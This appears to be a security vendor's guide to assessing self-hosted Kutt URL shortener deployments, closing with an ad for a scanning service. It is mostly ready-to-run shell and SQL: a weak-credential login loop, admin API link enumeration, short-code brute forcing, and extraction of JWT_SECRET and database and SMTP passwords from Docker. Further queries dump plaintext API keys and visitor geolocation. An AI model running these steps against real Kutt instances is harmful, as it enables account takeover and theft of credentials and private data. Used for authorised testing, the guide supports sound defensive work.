Kutt is a widely deployed self-hosted URL shortener with detailed click analytics — organizations use it for branded short links, campaign tracking, and internal link management. Key assessment areas: JWT_SECRET signs all user session tokens enabling account takeover; admin accounts configured via ADMIN_EMAILS control the entire platform; the PostgreSQL database stores all shortened URLs and visitor click data including IP addresses and geolocation; user API keys stored in plaintext enable automated link management; and the admin API exposes all platform links from all users. This guide covers systematic Kutt security assessment.
# Kutt — default credentials and admin API testing
KUTT_URL="https://kutt.example.com"
# Kutt does not have hardcoded defaults but ADMIN_EMAILS env sets admin accounts
# Test common weak credentials
for CRED in "admin@kutt.it:admin" "admin@example.com:password" \
"admin@example.com:admin123" "kutt@example.com:kutt"; do
EMAIL=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
AUTH=$(curl -s -X POST "${KUTT_URL}/api/v2/auth/login" \
-H "Content-Type: application/json" \
-d "{\"email\":\"${EMAIL}\",\"password\":\"${PASS}\"}" 2>/dev/null)
echo "$AUTH" | python3 -c "
import json,sys
d=json.load(sys.stdin)
if 'token' in d:
print(f'OK token={d[\"token\"][:30]}... admin={d.get(\"isAdmin\")} email={d.get(\"email\")}')
elif 'apikey' in d:
print(f'OK apikey={d[\"apikey\"][:30]}...')
else:
print(f'FAIL: {str(d)[:80]}')
" 2>/dev/null
done
# Admin API — list all links from all users (admin only)
ADMIN_TOKEN="your-admin-jwt-token"
curl -s "${KUTT_URL}/api/v2/links?all=true&limit=100&skip=0" \
-H "Authorization: Bearer ${ADMIN_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
data = d.get('data',[]) if isinstance(d,dict) else d
total = d.get('total',len(data)) if isinstance(d,dict) else len(data)
print(f'All platform links: {total}')
for link in data[:10]:
print(f' /{link.get(\"address\")} -> {str(link.get(\"target\",\"\"))[:80]}')
print(f' visits={link.get(\"visit_count\")} user={link.get(\"user\",{}).get(\"email\",\"\")}')
" 2>/dev/null
# Kutt API key — link enumeration and analytics access
KUTT_URL="https://kutt.example.com"
API_KEY="your-kutt-api-key"
# Get all links for the authenticated user
curl -s "${KUTT_URL}/api/v2/links?limit=100&skip=0" \
-H "X-API-Key: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
data = d.get('data',[]) if isinstance(d,dict) else d
total = d.get('total',len(data)) if isinstance(d,dict) else len(data)
print(f'User links: {total}')
for link in data[:10]:
print(f' /{link.get(\"address\")} -> {str(link.get(\"target\",\"\"))[:80]}')
print(f' visits={link.get(\"visit_count\")} created={str(link.get(\"created_at\",\"\"))[:10]}')
print(f' password_protected={bool(link.get(\"password\"))} expire={str(link.get(\"expire_in\",\"\"))[:10]}')
" 2>/dev/null
# Get click statistics for a specific link
LINK_ADDRESS="abc123"
curl -s "${KUTT_URL}/api/v2/links/${LINK_ADDRESS}/stats" \
-H "X-API-Key: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Link stats:')
print(f' Total visits: {d.get(\"total\")}')
for period in [\"lastDay\",\"lastWeek\",\"lastMonth\",\"allTime\"]:
period_data = d.get(period,{})
print(f' {period}: {period_data.get(\"total\",0)} visits')
# Countries, referrers, browsers, OS breakdown
countries = period_data.get('countries',[])
for c in countries[:5]:
print(f' Country: {c.get(\"name\")} visits={c.get(\"value\")}')
" 2>/dev/null
# Enumerate short codes by brute force (no API key needed)
# Kutt uses 6-character alphanumeric codes by default
for CODE in abc123 def456 ghi789; do
RESULT=$(curl -s -o /dev/null -w "%{http_code} %{redirect_url}" \
"${KUTT_URL}/${CODE}" 2>/dev/null)
HTTP=$(echo $RESULT | awk '{print $1}')
TARGET=$(echo $RESULT | awk '{print $2}')
[ "$HTTP" != "404" ] && echo "FOUND: /${CODE} -> ${TARGET}"
done
# Kutt JWT_SECRET and database credential extraction
# Docker environment variables
docker inspect kutt 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
for e in c.get('Config',{}).get('Env',[]):
if any(k in e for k in ['JWT','SECRET','DB_','REDIS','MAIL','ADMIN','PASSWORD']):
print(e)
" 2>/dev/null
# JWT_SECRET — signs all user session tokens
# DB_HOST, DB_NAME, DB_USER, DB_PASSWORD
# REDIS_URL — session cache
# MAIL_HOST, MAIL_USER, MAIL_PASSWORD — SMTP credentials
# ADMIN_EMAILS — comma-separated list of admin email addresses
# DISALLOW_REGISTRATION — controls open registration
# PostgreSQL — all Kutt data
DB_URL="postgresql://kutt:PASSWORD@localhost/kutt"
psql "$DB_URL" 2>/dev/null << 'EOF'
-- All users with API keys
SELECT u.id, u.email,
u.apikey, -- PLAINTEXT API key
u.admin,
u.created_at, u.updated_at,
u.banned
FROM users u
ORDER BY u.admin DESC, u.created_at ASC
LIMIT 20;
EOF
-- apikey: plaintext — direct API access for any user
-- All shortened links with targets
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT l.id, l.address,
l.target, -- The actual destination URL
l.password, -- If password-protected (hashed)
l.visit_count,
l.created_at,
u.email as owner
FROM links l
LEFT JOIN users u ON l.user_id = u.id
ORDER BY l.created_at DESC
LIMIT 30;
EOF
-- target: the full destination URL for each short link
-- Click analytics with visitor data
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT v.id, v.link_id,
v.referrer, v.country,
v.city, v.browser, v.os,
v.created_at
FROM visits v
ORDER BY v.created_at DESC
LIMIT 20;
EOF
-- country/city: geolocation from IP addresses
-- referrer: full referring URL for each click
| Security Test | Method | Risk |
|---|---|---|
| JWT_SECRET extraction and admin session token forgery | Read .env JWT_SECRET — forge JWT tokens for admin email addresses configured in ADMIN_EMAILS; full admin API access to all platform links from all users; user API key enumeration | Critical |
| PostgreSQL users.apikey plaintext extraction | SELECT apikey FROM users — plaintext API keys for all users; persistent access to each user's links, analytics, and link management operations without password | High |
| Admin API all-platform link target enumeration | GET /api/v2/links?all=true — all shortened URLs from all users with destination targets; complete platform link intelligence including private campaign URLs and internal tool links | High |
| PostgreSQL links.target destination URL extraction | SELECT target FROM links — all redirect destinations in plaintext; reveals every shortened URL's destination regardless of user ownership or password protection (password protects the browser redirect, not the database value) | High |
| Short code brute-force without authentication | GET /{short_code} — redirect response reveals valid codes and destination URLs; 6-character alphanumeric codes are enumerable; reveals all shortened URLs without API access | Medium |
Ironimo tests Kutt deployments for JWT_SECRET extraction and admin session token forgery, PostgreSQL users.apikey plaintext extraction, admin API all-platform link target enumeration, links table destination URL disclosure, short code brute-force enumeration without authentication, Docker JWT_SECRET/DB_PASSWORD/ADMIN_EMAILS exposure, REDIS_URL session cache credential extraction, MAIL_PASSWORD SMTP credential disclosure, open registration endpoint testing, and password-protected link database bypass (target URL readable without password).
Start free scan